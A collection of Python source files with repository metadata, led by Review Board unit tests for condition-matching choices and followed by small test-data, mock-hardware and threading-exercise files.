self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') group3 = self.create_review_group(name='group3') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain-any'), [group1, group2]) ]) self.assertFalse(condition_set.matches( review_groups=Group.objects.filter(pk=group1.pk))) self.assertTrue(condition_set.matches( review_groups=Group.objects.filter(pk=group3.pk))) self.assertTrue(condition_set.matches( review_groups=Group.objects.none())) def test_matches_with_any_public_op(self): """Testing ReviewGroupsChoice.matches with "any-public" operator""" group1 = self.create_review_group(name='group1', invite_only=False) group2 = self.create_review_group(name='group2', invite_only=True) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('any-public')), ]) self.assertTrue(condition_set.matches( review_groups=Group.objects.filter(pk=group1.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.filter(pk=group2.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.none())) def test_matches_with_all_invite_only_op(self): """Testing ReviewGroupsChoice.matches with "all-invite-only" operator """ group1 = self.create_review_group(name='group1', invite_only=True) group2 = self.create_review_group(name='group2', invite_only=False) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('all-invite-only')), ]) self.assertTrue(condition_set.matches( review_groups=Group.objects.filter(pk=group1.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.filter(pk=group2.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.none())) class ReviewRequestAllDiffFilesChoiceTests(TestCase): """Unit tests for ReviewRequestAllDiffFilesChoice.""" fixtures = ['test_scmtools', 'test_users'] def setUp(self): super(ReviewRequestAllDiffFilesChoiceTests, self).setUp() self.choice = ReviewRequestAllDiffFilesChoice() self.review_request = self.create_review_request( create_repository=True, publish=True) diffset = self.create_diffset(self.review_request) self.filediff1 = self.create_filediff(diffset, source_file='file1', dest_file='file1') self.filediff2 = self.create_filediff(diffset, source_file='file2', dest_file='file2') def test_get_match_value(self): """Testing ReviewRequestAllDiffFilesChoice.get_match_value""" self.assertEqual(self.choice.get_match_value(self.review_request, {}), {'file1', 'file2'}) def test_matches_with_is_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "is" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is'), 'file1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) self.filediff2.delete() self.assertTrue(condition_set.matches( review_request=self.review_request)) def test_matches_with_is_not_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "is-not" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-not'), 'fileX'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-not'), 'file1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_contains_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "contains" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains'), 'file'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains'), '1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_does_not_contain_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "does-not-contain" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain'), '3'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain'), 'ile1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_starts_with_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "starts-with" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('starts-with'), 'file'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('starts-with'), 'file1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_ends_with_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "ends-with" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('ends-with'), 'le1'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) self.filediff2.delete() self.assertTrue(condition_set.matches( review_request=self.review_request)) def test_matches_with_matches_regex_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "matches-regex" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('matches-regex'), re.compile(r'^[Ff]ile\d$')), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('matches-regex'), re.compile('^[Ff]ile1$')), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_does_not_match_regex_op(self): """Testing ReviewRequestAllDiffFilesChoice.matches with "does-not-match-regex" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-match-regex'), re.compile(r'^[Ff]ile3$')), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-match-regex'), re.compile('[Ff]ile1')), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) class ReviewRequestAnyDiffFileChoiceTests(TestCase): """Unit tests for ReviewRequestAnyDiffFileChoice.""" fixtures = ['test_scmtools', 'test_users'] def setUp(self): super(ReviewRequestAnyDiffFileChoiceTests, self).setUp() self.choice = ReviewRequestAnyDiffFileChoice() self.review_request = self.create_review_request( create_repository=True, publish=True) diffset = self.create_diffset(self.review_request) self.filediff1 = self.create_filediff(diffset, source_file='file1', dest_file='file1') self.filediff2 = self.create_filediff(diffset, source_file='file2', dest_file='file2') def test_get_match_value(self): """Testing ReviewRequestAnyDiffFileChoice.get_match_value""" self.assertEqual(self.choice.get_match_value(self.review_request, {}), {'file1', 'file2'}) def test_matches_with_is_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "is" operator""" condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is'), 'file2'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is'), 'fileX'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_is_not_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "is-not" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-not'), 'fileX'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-not'), 'file1'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) self.filediff2.delete() self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_contains_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "contains" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains'), '1'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains'), '3'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_does_not_contain_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "does-not-contain" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain'), 'xyz'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain'), 'file'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_starts_with_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "starts-with" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('starts-with'), 'file'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('starts-with'), 'ile'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_ends_with_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "ends-with" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('ends-with'), 'le1'), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('ends-with'), 'xyz'), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_matches_regex_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "matches-regex" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('matches-regex'), re.compile(r'^[Ff]ile1$')), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('matches-regex'), re.compile('^\d')), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) def test_matches_with_does_not_match_regex_op(self): """Testing ReviewRequestAnyDiffFileChoice.matches with "does-not-match-regex" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-match-regex'), re.compile(r'^\d')), ]) self.assertTrue(condition_set.matches( review_request=self.review_request)) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-match-regex'), re.compile('[Ff]ile\d')), ]) self.assertFalse(condition_set.matches( review_request=self.review_request)) class ReviewRequestRepositoriesChoiceTests(TestCase): """Unit tests for ReviewRequestRepositoriesChoice.""" fixtures = ['test_scmtools', 'test_users'] def setUp(self): super(ReviewRequestRepositoriesChoiceTests, self).setUp() self.choice = ReviewRequestRepositoriesChoice() def test_matches_with_any_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "any" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('any')), ]) self.assertTrue(condition_set.matches( review_request=self.create_review_request(create_repository=True))) self.assertFalse(condition_set.matches( review_request=self.create_review_request())) def test_matches_with_none_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "none" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('none')), ]) self.assertTrue(condition_set.matches( review_request=self.create_review_request())) self.assertFalse(condition_set.matches( review_request=self.create_review_request(create_repository=True))) def test_matches_with_one_of_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "one-of" operator """ repository1 = self.create_repository(name='repo1') repository2 = self.create_repository(name='repo2') repository3 = self.create_repository(name='repo3') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('one-of'), [repository1, repository2]) ]) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository1))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository2))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository3))) def test_matches_with_not_one_of_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "not-one-of" operator """ repository1 = self.create_repository(name='repo1') repository2 = self.create_repository(name='repo2') repository3 = self.create_repository(name='repo3') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('not-one-of'), [repository1, repository2]) ]) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository1))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository2))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository3))) def test_matches_with_is_public_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "is-public" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-public')), ]) public_repo = self.create_repository(name='repo1', public=True) private_repo = self.create_repository(name='repo2', public=False) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=public_repo))) self.assertFalse(condition_set.matches( review_request=self.create_review_request( repository=private_repo))) def test_matches_with_is_private_op(self): """Testing ReviewRequestRepositoriesChoice.matches with "is-private" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('is-private')), ]) public_repo = self.create_repository(name='repo1', public=True) private_repo = self.create_repository(name='repo2', public=False) self.assertTrue(condition_set.matches( review_request=self.create_review_request( repository=private_repo))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=public_repo))) class ReviewRequestRepositoryTypeChoiceTests(TestCase): """Unit tests for ReviewRequestRepositoryTypeChoice.""" fixtures = ['test_scmtools', 'test_users'] def setUp(self): super(ReviewRequestRepositoryTypeChoiceTests, self).setUp() self.choice = ReviewRequestRepositoryTypeChoice() def test_matches_with_one_of_op(self): """Testing ReviewRequestRepositoryTypeChoice.matches with "one-of" operator """ repository1 = self.create_repository(name='repo1', tool_name='Git') repository2 = self.create_repository(name='repo2', tool_name='Subversion') repository3 = self.create_repository(name='repo3', tool_name='CVS') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('one-of'), [repository1.tool, repository2.tool]) ]) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository1))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository2))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository3))) def test_matches_with_not_one_of_op(self): """Testing ReviewRequestRepositoryTypeChoice.matches with "not-one-of" operator """ repository1 = self.create_repository(name='repo1', tool_name='Git') repository2 = self.create_repository(name='repo2', tool_name='Subversion') repository3 = self.create_repository(name='repo3', tool_name='CVS') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('not-one-of'), [repository1.tool, repository2.tool]) ]) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository1))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(repository=repository2))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(repository=repository3))) class ReviewRequestReviewGroupsChoiceTests(TestCase): """Unit tests for ReviewRequestReviewGroupsChoice.""" fixtures = ['test_users'] def setUp(self): super(ReviewRequestReviewGroupsChoiceTests, self).setUp() self.request = RequestFactory().request() self.request.user = User.objects.create(username='test-user') self.choice = ReviewRequestReviewGroupsChoice(request=self.request) def test_get_queryset(self): """Testing ReviewGroupsChoice.get_queryset""" group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk], transform=lambda group: group.pk) def test_get_queryset_with_local_site(self): """Testing ReviewGroupsChoice.get_queryset with LocalSite""" good_site = LocalSite.objects.create(name='good-site') bad_site = LocalSite.objects.create(name='bad-site') # These should match. group1 = self.create_review_group(name='group1', local_site=good_site) group2 = self.create_review_group(name='group2', local_site=good_site) # These should not match. self.create_review_group(name='group3') self.create_review_group(name='group4', local_site=bad_site) self.choice.extra_state['local_site'] = good_site self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk], transform=lambda group: group.pk) def test_matches_with_any_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "any" operator """ group = self.create_review_group(name='group1') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('any')), ]) review_request = self.create_review_request() review_request.target_groups = [group] self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [] self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_none_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "none" operator """ group = self.create_review_group(name='group1') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('none')), ]) review_request = self.create_review_request() self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group] self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_contains_any_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "contains-any" operator """ group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') group3 = self.create_review_group(name='group2') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains-any'), [group1, group2]), ]) review_request = self.create_review_request() review_request.target_groups = [group2] self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group3] self.assertFalse(condition_set.matches(review_request=review_request)) review_request.target_groups = [] self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_does_not_contain_any_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "does-not-contain-any" operator """ group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') group3 = self.create_review_group(name='group3') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain-any'), [group1, group2]) ]) review_request = self.create_review_request() self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group3] self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group1] self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_any_public_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "any-public" operator""" group1 = self.create_review_group(name='group1', invite_only=False) group2 = self.create_review_group(name='group2', invite_only=True) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('any-public')), ]) review_request = self.create_review_request() review_request.target_groups = [group1] self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group2] self.assertFalse(condition_set.matches(review_request=review_request)) review_request.target_groups = [] self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_all_invite_only_op(self): """Testing ReviewRequestReviewGroupsChoice.matches with "all-invite-only" operator """ group1 = self.create_review_group(name='group1', invite_only=True) group2 = self.create_review_group(name='group2', invite_only=False) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('all-invite-only')), ]) review_request = self.create_review_request() review_request.target_groups = [group1] self.assertTrue(condition_set.matches(review_request=review_request)) review_request.target_groups = [group2] self.assertFalse(condition_set.matches(review_request=review_request)) review_request.target_groups = [] self.assertFalse(condition_set.matches(review_request=review_request)) class ReviewRequestOwnerChoiceTests(TestCase): """Unit tests for ReviewRequestOwnerChoice.""" fixtures = ['test_users'] def setUp(self): super(ReviewRequestOwnerChoiceTests, self).setUp() self.choice = ReviewRequestOwnerChoice() self.user1 = User.objects.get(username='doc') self.user2 = User.objects.get(username='grumpy') self.user3 = User.objects.get(username='dopey') def test_get_queryset(self): """Testing ReviewRequestOwnerChoice.get_queryset""" self.assertQuerysetEqual( self.choice.get_queryset(), User.objects.values_list('pk', flat=True), transform=lambda user: user.pk) def test_get_queryset_with_local_site(self): """Testing ReviewRequestOwnerChoice.get_queryset with LocalSite""" good_site = LocalSite.objects.create(name='good-site') good_site.users.add(self.user2) bad_site = LocalSite.objects.create(name='bad-site') bad_site.users.add(self.user3) self.choice.extra_state['local_site'] = good_site self.assertQuerysetEqual( self.choice.get_queryset(), [self.user2.pk], transform=lambda user: user.pk) def test_matches_with_one_of_op(self): """Testing ReviewRequestOwnerChoice.matches with "one-of" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('one-of'), [self.user1, self.user2]), ]) self.assertTrue(condition_set.matches( review_request=self.create_review_request(submitter=self.user1))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(submitter=self.user2))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(submitter=self.user3))) def test_matches_with_not_one_of_op(self): """Testing ReviewRequestOwnerChoice.matches with "not-one-of" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('not-one-of'), [self.user1, self.user2]), ]) self.assertFalse(condition_set.matches( review_request=self.create_review_request(submitter=self.user1))) self.assertFalse(condition_set.matches( review_request=self.create_review_request(submitter=self.user2))) self.assertTrue(condition_set.matches( review_request=self.create_review_request(submitter=self.user3))) class ReviewRequestReviewerChoiceTests(TestCase): """Unit tests for ReviewRequestReviewerChoice.""" fixtures = ['test_users'] def setUp(self): super(ReviewRequestReviewerChoiceTests, self).setUp() self.choice = ReviewRequestReviewerChoice() self.user1 = User.objects.get(username='doc') self.user2 = User.objects.get(username='grumpy') self.user3 = User.objects.get(username='dopey') def test_get_queryset(self): """Testing ReviewRequestReviewerChoice.get_queryset""" self.assertQuerysetEqual( self.choice.get_queryset(), User.objects.values_list('pk', flat=True), transform=lambda user: user.pk) def test_get_queryset_with_local_site(self): """Testing ReviewRequestReviewerChoice.get_queryset with LocalSite""" good_site = LocalSite.objects.create(name='good-site') good_site.users.add(self.user2) bad_site = LocalSite.objects.create(name='bad-site') bad_site.users.add(self.user3) self.choice.extra_state['local_site'] = good_site self.assertQuerysetEqual( self.choice.get_queryset(), [self.user2.pk], transform=lambda user: user.pk) def test_matches_with_contains_any_op(self): """Testing ReviewRequestReviewerChoice.matches with "contains-any" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains-any'), [self.user1, self.user2]), ]) review_request = self.create_review_request(target_people=[self.user1]) self.assertTrue(condition_set.matches(review_request=review_request)) review_request = self.create_review_request(target_people=[self.user2]) self.assertTrue(condition_set.matches(review_request=review_request)) review_request = self.create_review_request(target_people=[self.user3]) self.assertFalse(condition_set.matches(review_request=review_request)) def test_matches_with_does_not_contain_any_op(self): """Testing ReviewRequestReviewerChoice.matches with "does-not-contain-any" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain-any'), [self.user1, self.user2]), ]) review_request = self.create_review_request(target_people=[self.user1]) self.assertFalse(condition_set.matches(review_request=review_request)) review_request = self.create_review_request(target_people=[self.user2]) self.assertFalse(condition_set.matches(review_request=review_request)) review_request = self.create_review_request(target_people=[self.user3]) self.assertTrue(condition_set.matches(review_request=review_request)) class ReviewRequestParticipantChoiceTests(TestCase): """Unit tests for ReviewRequestParticipantChoice.""" fixtures = ['test_users'] def setUp(self): super(ReviewRequestParticipantChoiceTests, self).setUp() self.choice = ReviewRequestParticipantChoice() self.user1 = User.objects.get(username='doc') self.user2 = User.objects.get(username='grumpy') self.user3 = User.objects.get(username='dopey') def test_get_queryset(self): """Testing ReviewRequestParticipantChoice.get_queryset""" self.assertQuerysetEqual( self.choice.get_queryset(), User.objects.values_list('pk', flat=True), transform=lambda user: user.pk) def test_get_queryset_with_local_site(self): """Testing ReviewRequestParticipantChoice.get_queryset with LocalSite """ good_site = LocalSite.objects.create(name='good-site') good_site.users.add(self.user2) bad_site = LocalSite.objects.create(name='bad-site') bad_site.users.add(self.user3) self.choice.extra_state['local_site'] = good_site self.assertQuerysetEqual( self.choice.get_queryset(), [self.user2.pk], transform=lambda user: user.pk) def test_matches_with_contains_any_op(self): """Testing ReviewRequestParticipantChoice.matches with "contains-any" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains-any'), [self.user1, self.user2]), ]) review_request = self.create_review_request() self.assertFalse(condition_set.matches(review_request=review_request)) review_request = self.create_review_request() self.create_review(review_request, user=self.user1, public=True) self.assertTrue(condition_set.matches(review_request=review_request)) def test_matches_with_does_not_contain_any_op(self): """Testing ReviewRequestParticipantChoice.matches with "does-not-contain-any" operator """ condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('does-not-contain-any'), [self.user1, self.user2]), ]) review_request = self.create_review_request() self.assertTrue(condition_set.matches(review_request=review_request)) review_request = self.create_review_request() self.create_review(review_request, user=self.user1, public=True) self.assertFalse(condition_set.matches(review_request=review_request))

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40.495311

0.822817

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0

null

0

1

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1

0

null

0

7

f6061634c60d10a477fc4c5ce11b1339ea159345

15

py

Python

python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

u'%04.5r' % 42

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15

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0

null

0

1

0

7

f60fdb9ebb7ae1d6be3fd2e06e75691f189c66ef

7,200

py

Python

input_day13.py

jb790419/aoc

2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc

[ "MIT" ]

null

input_day13.py

jb790419/aoc

2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc

[ "MIT" ]

null

input_day13.py

jb790419/aoc

2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc

[ "MIT" ]

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Python

wrapper/pijuice_mock/status.py

toschoch/docker-rpi-pijuice-mqtt

6571635c0e6370c4433023eb07c5c46a9fe4a070

[ "MIT" ]

null

wrapper/pijuice_mock/status.py

toschoch/docker-rpi-pijuice-mqtt

6571635c0e6370c4433023eb07c5c46a9fe4a070

[ "MIT" ]

null

wrapper/pijuice_mock/status.py

toschoch/docker-rpi-pijuice-mqtt

6571635c0e6370c4433023eb07c5c46a9fe4a070

[ "MIT" ]

null

def GetChargeLevel(): return {'data': 42, 'error': 'NO_ERROR'} def GetBatteryTemperature(): return {'data': 25.4, 'error': 'NO_ERROR'} def GetBatteryVoltage(): return {'data': 3111, 'error': 'NO_ERROR'} def GetBatteryCurrent(): return {'data': 800, 'error': 'NO_ERROR'} def GetIoVoltage(): return {'data': 5432, 'error': 'NO_ERROR'} def GetIoCurrent(): return {'data': 300, 'error': 'NO_ERROR'} def GetStatus(): return {'data': { 'powerInput': 'adapter connected', 'powerInput5vIo': 'powered' }, 'error': 'NO_ERROR'}

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Python

PythonThread-Goroutine/1114. 按序打印.py

Lcoderfit/Introduction-to-algotithms

aea2630be6ca2c60186593d6e66b0a59e56dc848

[ "MIT" ]

3

2018-08-25T16:14:16.000Z

2019-10-15T22:25:32.000Z

PythonThread-Goroutine/1114. 按序打印.py

Lcoderfit/Introduction-to-algotithms

aea2630be6ca2c60186593d6e66b0a59e56dc848

[ "MIT" ]

null

PythonThread-Goroutine/1114. 按序打印.py

Lcoderfit/Introduction-to-algotithms

aea2630be6ca2c60186593d6e66b0a59e56dc848

[ "MIT" ]

1

2019-10-08T09:03:48.000Z

# from threading import Lock # # class Foo: # def __init__(self): # self.first_job_done = Lock() # self.second_job_done = Lock() # self.first_job_done.acquire() # self.second_job_done.acquire() # # # def first(self, printFirst: 'Callable[[], None]') -> None: # # printFirst() outputs "first". Do not change or remove this line. # printFirst() # self.first_job_done.release() # # # def second(self, printSecond: 'Callable[[], None]') -> None: # # with语句可以自动加锁与解锁 # with self.first_job_done: # # printSecond() outputs "second". Do not change or remove this line. # printSecond() # # 任务二运行完毕，释放锁 # self.second_job_done.release() # # # def third(self, printThird: 'Callable[[], None]') -> None: # with self.second_job_done: # # printThird() outputs "third". Do not change or remove this line. # printThird() # from threading import Lock # # class Foo: # def __init__(self): # self.first_job_done = Lock() # self.second_job_done = Lock() # self.first_job_done.acquire() # self.second_job_done.acquire() # # # def first(self, printFirst: 'Callable[[], None]') -> None: # # printFirst() outputs "first". Do not change or remove this line. # printFirst() # self.first_job_done.release() # # # def second(self, printSecond: 'Callable[[], None]') -> None: # if self.first_job_done.acquire(): # # printSecond() outputs "second". Do not change or remove this line. # printSecond() # # 任务二运行完毕，释放锁 # self.second_job_done.release() # # # def third(self, printThird: 'Callable[[], None]') -> None: # if self.second_job_done.acquire(): # # printThird() outputs "third". Do not change or remove this line. # printThird() from threading import Lock if "__name__" == "__main__": a = Lock() b = Lock() a.acquire() b.acquire() if a.acquire(): print("alsdkjf") k.release()

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release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py

tranconbv/ironpython-stubs

a601759e6c6819beff8e6b639d18a24b7e351851

[ "MIT" ]

null

release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py

tranconbv/ironpython-stubs

a601759e6c6819beff8e6b639d18a24b7e351851

[ "MIT" ]

null

release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py

tranconbv/ironpython-stubs

a601759e6c6819beff8e6b639d18a24b7e351851

[ "MIT" ]

null

